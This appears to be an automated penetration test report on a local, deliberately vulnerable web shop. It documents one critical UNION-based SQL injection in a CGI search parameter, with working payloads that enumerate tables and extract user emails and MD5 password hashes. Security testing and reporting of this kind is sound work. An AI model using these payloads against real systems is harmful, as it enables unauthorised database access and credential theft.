
Web Application Penetration Test Report — v1.0

Target System: localhost:3336 Application

Performed by the OpenHack Security Agent

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Scope

OpenHack Security Agent was engaged by Richard Roe to conduct Targeted SQL Injection Assessment IT security investigation. The subject of the investigation was the “localhost:3336 Application”.

The test was performed using Local development/testing environment.

Objective

The objective of the IT security investigation was to identify vulnerabilities and security gaps which, in the event of misuse, would have an impact on the availability, integrity and confidentiality of the defined applications and/or systems and the data processed on them. The result of this project is a report that contains a management summary of all relevant findings and a compilation of recommended measures.

The technical IT security audit is not a substantive audit effort to ensure that all vulnerabilities and security gaps existing at the time of the audit are identified. There is a possibility that established safeguards will effectively prevent identification and exploitation of vulnerabilities and security gaps. The client acknowledges that this is not an indicator of deficiencies in engagement performance and that additional unidentified vulnerabilities and security gaps may exist.

Disclaimer

‘OpenHack Security Agent’ conducted the security penetration test on behalf of ‘Richard Roe’. This report has been prepared exclusively for ‘Richard Roe’. It is intended exclusively for internal use and is accordingly not designed to serve third parties as a basis for their decisions, unless agreed otherwise in writing. Third parties may not derive any rights or otherwise benefit from this engagement unless agreed otherwise in writing. Affiliated companies of the client are also considered “third parties” within the meaning of this engagement.

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It is the sole responsibility of anyone who becomes aware of the work results summarized in this report to decide to what extent and in what way the information is useful or appropriate and to supplement, check or update it as part of their own review.

No adjustments will be made to the report to reflect events or circumstances that occur after the report is issued, unless required by law.

The recommendations in this report are general and applicable in many different environments but could have unpredictable effects in specific environments. Therefore, any actions derived from the recommendations should be carefully considered and implemented through the regular change process. This should include appropriate testing of the changes on a test environment prior to going live. If the changes are not tested in advance in an identically configured test environment, failures or other damage cannot be ruled out.

Please note: Technical descriptions (or parts thereof) in this report may be taken from the OWASP Testing Guide (www.owasp.org).

1 Document Control

Document Status

Title	Security Assessment Report
Document Owner	OpenHack Security Agent
Classification	Strictly Confidential
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Version History

Version	Date	State	Author	Comments
0.1	2026-02-23	Draft	Jane Doe	-
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2 Executive Summary

OpenHack Security Agent (hereinafter referred to as “ASSESSOR”) has been commissioned by Richard Roe (hereinafter referred to as “CLIENT”) to carry out a penetration test.

The penetration test of the localhost:3336 Application application took place on **2026-02-23**.

For this purpose, the web application, accessible at <http://localhost:3336>, was tested from the perspective of an external attacker. Black-box assessment with no prior source code access. Testing from unauthenticated perspective.

Scoped, targeted assessment focused exclusively on identifying SQL injection vulnerabilities in the localhost:3336 application. Assessment limited to finding 1 SQL injection vulnerability.

Critical: **1** | High: **0** | Medium: **0** | Low: **0** | Informational: **0** | Total: **1**

Table 2.1: Overview of Findings

Severity	Count
Critical	1
High	0
Medium	0
Low	0
Informational	0
Total	1

A description of the scope and test environment can be found in Chapter 3. Chapter 4 presents the risk assessment methodology. Chapter 5 provides a summary of findings. Chapter 6 contains the detailed technical descriptions of the findings including remediation measures.

It is recommended that the remediation of the critical risk vulnerabilities be treated with the highest priority and countermeasures implemented as soon as possible. The vulnerabilities

with high and medium risk should also be remedied in the short term. The low-risk vulnerabilities should be treated with lower priority due to their reduced risk, but should still be addressed.

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3 Execution of the Security Penetration Test

3.1 Subject Under Test

Web application running on localhost:3336

3.2 Scope

The scope for the assessment was the following targets:

- **Primary Target:** http://localhost:3336
- **Focus Area:** SQL injection vulnerabilities only
- **Scope Limitation:** Find exactly 1 SQL injection vulnerability
- **Exclusions:** All other vulnerability classes (XSS, CSRF, authentication issues, etc.)

3.3 Methodology

The security penetration test of the localhost:3336 Application took place on 2026-02-23.

Manual and automated SQL injection testing techniques including: - Error-based SQL injection detection - Union-based SQL injection - Blind SQL injection (boolean-based and time-based) - Parameter fuzzing for SQL syntax errors - Authentication bypass attempts via SQLi

The web application was tested for security vulnerabilities across the following categories. This can be considered a guideline as penetration tests are a creative process and therefore the tests are not limited to what is given here. The base of these categories is the OWASP Top 10 for Web, which is fully covered by this penetration test approach.

Category	Description
Broken Access Control	Users can act outside their permissions, leading to unauthorized viewing, modification, or deletion of data.
Security Misconfiguration	Systems or cloud services are insecurely configured, e.g., through default passwords or unnecessarily enabled features.

Category	Description
Software Supply Chain Failures	Vulnerabilities arise from compromised third-party code, libraries, or build pipelines.
Cryptographic Failures	Sensitive data is exposed through missing, weak, or incorrectly implemented encryption.
Injection	Attackers inject malicious commands (e.g., SQL or shell code) through input fields that the system erroneously executes.
Insecure Design	Fundamental architectural flaws that exist before implementation make an application inherently insecure.
Authentication Failures	Flaws in identity verification allow attackers to take over sessions or guess passwords (brute force).
Software or Data Integrity Failures	Lack of verification of code or data sources leads to acceptance of untrusted updates or serialization data.
Security Logging & Alerting Failures	Attacks go undetected or responses are delayed due to missing logs or absent alert notifications.
Mishandling of Exceptional Conditions	Programs respond inadequately to unforeseen situations, which can lead to crashes or logic errors.

3.4 Events

During the test, the following restrictions or events occurred that may have affected the scope or depth of the assessment: Single-phase targeted assessment

4 Risk Assessment

4.1 CVSS

The risk assessment of the vulnerabilities found is performed using the industry standard Common Vulnerability Scoring System v3.1 (hereinafter referred to as “CVSS”). This is a standard that can be used to uniformly assess the vulnerability of computer systems and the severity of security vulnerabilities. This makes it possible to compare vulnerabilities more effectively.

The Common Vulnerability Scoring System has a metric structure and is based on values that are divided into three groups: “Base”, “Temporal”, and “Environmental”. To determine the vulnerability scores, each group has its own rules. The values of the Base group are invariant in time and remain the same in different environments. In the Temporal group, the time dependency of a vulnerability is taken into account. For example, the vulnerability of a system to a particular vulnerability decreases over time as more and more countermeasures such as patches become known and available. The Environmental group incorporates various criteria of the specific IT environments into the vulnerability rating.

The CVSS ratings are numerical values on a scale of 0.0 to 10.0, with the highest vulnerability of a system occurring at a value of 10.0. Our rating is based on the Base Metrics (Base Score) and is composed of:

- Attack Vector (AV)
- Attack Complexity (AC)
- Privileges Required (PR)
- User Interaction (UI)
- Scope (S)
- Confidentiality (C)
- Integrity (I)
- Availability (A)

As penetration testers, we can only assess the general threats posed by a vulnerability through Base Metrics. However, we have no insight into the internal structures of our clients. Therefore, the assessment of the specific risks for the client’s systems and business processes must be done by the client. For this purpose, CVSS offers Environmental Metrics. This makes it possible to subsequently adjust the CVSS score of vulnerabilities after the test result has been

submitted before they are remedied. This changes the assessment of the risk and thus the urgency of remediation of a vulnerability. For more information, see [CVSS v3.1 Specification](#).

4.2 Risk Categories

The risk categories used in this report reflect the recommended priority for addressing the vulnerabilities identified during the penetration test. The categorization is based on the probability of exploitation and the significance of the impact. The risk value is calculated using the CVSS v3.1 standard:

Assessment	Risk Category Description
Critical	Critical vulnerabilities that allow an attacker to gain full access to the object under test and its sensitive information. It is possible to cause enormous damage to the client's reputation. Furthermore, these vulnerabilities may allow attackers to gain wide-ranging privileges, including to other systems or applications of the client that have not been investigated in detail within the scope of this project. Exploitation of the vulnerabilities is not prevented and can be reproduced with medium to low effort.
High	Vulnerabilities that may allow an attacker to manipulate sensitive data, damage the client's reputation, gain unauthorized access to sensitive information, or gain unauthorized access to applications or the client's infrastructure. The vulnerabilities are reproducible with medium to high effort.
Medium	Vulnerabilities that may allow an attacker to harm the client's reputation or gain unauthorized access to client data. The privileges that an attacker can gain by exploiting the vulnerabilities are limited.
Low	Security vulnerabilities that do not pose a threat in themselves, but which, for example, provide attackers with useful information about the network and systems. These vulnerabilities allow an attacker only very limited access.
Informational	Anomalies such as functional limitations or inconsistencies. These do not currently represent a risk and have no negative impact on the test object. Accordingly, no action is required. Nevertheless, countermeasures can be helpful for the functional and safety improvement of the test object. If necessary, this may give rise to risks under other circumstances.

4.3 Vulnerability States

The vulnerabilities can be in one of the following states:

- **Active:** The vulnerability has been identified and it has been possible to verify its existence through exploitation or direct evidence.
- **Potential:** The vulnerability has been identified but its exploitation has not been possible, so its existence cannot be fully verified, and it is up to the client to determine the impact.
- **Fixed:** The vulnerability has been remediated and verified through retesting.

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5 Summary of Findings

Id	Finding Name	Risk Assessment	CVSS v3.1 Score
01	SQL Injection in Search Functionality	Critical	9.1

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6 Findings and Remediation

6.1 Finding

6.1.1 SQL Injection in Search Functionality

Severity	Critical
CVSS Base Score	9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Assets	http://localhost:3336/cgi-bin/badstore.cgi, http://localhost:3336/cgi-bin/badstore.cgi?action=search, badstoredb database, userdb table
Status	open

Description

A critical UNION-based SQL injection vulnerability exists in the search functionality at /cgi-bin/badstore.cgi. The 'searchquery' parameter is directly concatenated into a SQL query without proper sanitization or parameterization.

Vulnerability Details: - **Location:** http://localhost:3336/cgi-bin/badstore.cgi?action=search - **Parameter:** searchquery (GET parameter) - **Type:** UNION-based SQL Injection - **Database:** MariaDB 11.8.3 running as root@localhost

Successful Exploitation Evidence: 1. **Database Version Extraction:** Payload: ' UNION SELECT 1,@@version,3,4-- - Result: MariaDB version 11.8.3-MariaDB-0+deb13u1 from Debian

2. **Database and User Information:** Payload: ' UNION SELECT 1,database(),user(),4-- - Result: Database 'badstoredb', User 'root@localhost' (CRITICAL: running as root)
3. **Table Enumeration:** Payload: ' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 5-- - Result: Discovered tables: acctdb, itemdb, orderdb, userdb
4. **Credential Extraction:** Payload: ' UNION SELECT 1,email,passwd,4 FROM userdb LIMIT 3-- - Result: Extracted admin credentials:
 - admin: 5EBE2294ECD0E0F08EAB7690D2A6EE69 (MD5 hash)

- AAA_Test_User: 098F6BCD4621D373CADE4E832627B4F6
- joe@supplier.com: 62072d95acb588c7ee9d6fa0c6c85155

Attack Vectors: - Error-based detection: Single quote triggers SQL syntax error revealing query structure - UNION-based extraction: 4-column UNION SELECT successful for data exfiltration - Database running as root user enables potential file system access and privilege escalation

Proof of Concept

Reproduction Steps: 1. Navigate to: <http://localhost:3336/cgi-bin/badstore.cgi> 2. Enter the payload in the search box: ' UNION SELECT 1,@@version,3,4-- - 3. Submit the search 4. Observe MariaDB version displayed in results 5. Modify payload to extract additional data using information_schema

Example Payloads: - Basic error detection: test' (triggers SQL syntax error) - Version extraction: ' UNION SELECT 1,@@version,3,4-- - - Database info: ' UNION SELECT 1,database(),user(),4-- - - Table enumeration: ' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 5-- - - Credential extraction: ' UNION SELECT 1,email,passwd,4 FROM userdb LIMIT 3-- -

Remediation

Immediate Actions: 1. Use prepared statements/parameterized queries for all database interactions 2. Implement proper input validation and sanitization on the searchquery parameter 3. Restrict database user privileges immediately (remove root access) 4. Rotate all user passwords and implement strong password hashing (bcrypt/Argon2)

Long-term Remediation: 1. Conduct comprehensive code review for all SQL query construction 2. Implement Web Application Firewall (WAF) rules for SQL injection detection 3. Enable database query logging for security monitoring 4. Apply principle of least privilege for database accounts 5. Upgrade from MD5 to modern password hashing algorithms

7 Appendix A - Lists, Scripts and Raw Data

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8 Appendix B - List of Abbreviations

Abbreviation	Description
API	Application Programming Interface
CAPTCHA	Completely Automated Public Turing test to tell Computers and Humans Apart
CVSS	Common Vulnerability Scoring System
FTP	File Transfer Protocol
IDOR	Insecure Direct Object Reference
MD5	Message-Digest Algorithm 5
OAuth	Open Authorization
ORM	Object-Relational Mapping
OWASP	Open Web Application Security Project
PII	Personally Identifiable Information
SQL	Structured Query Language
TOTP	Time-based One-Time Password
URI	Uniform Resource Identifier
WAF	Web Application Firewall

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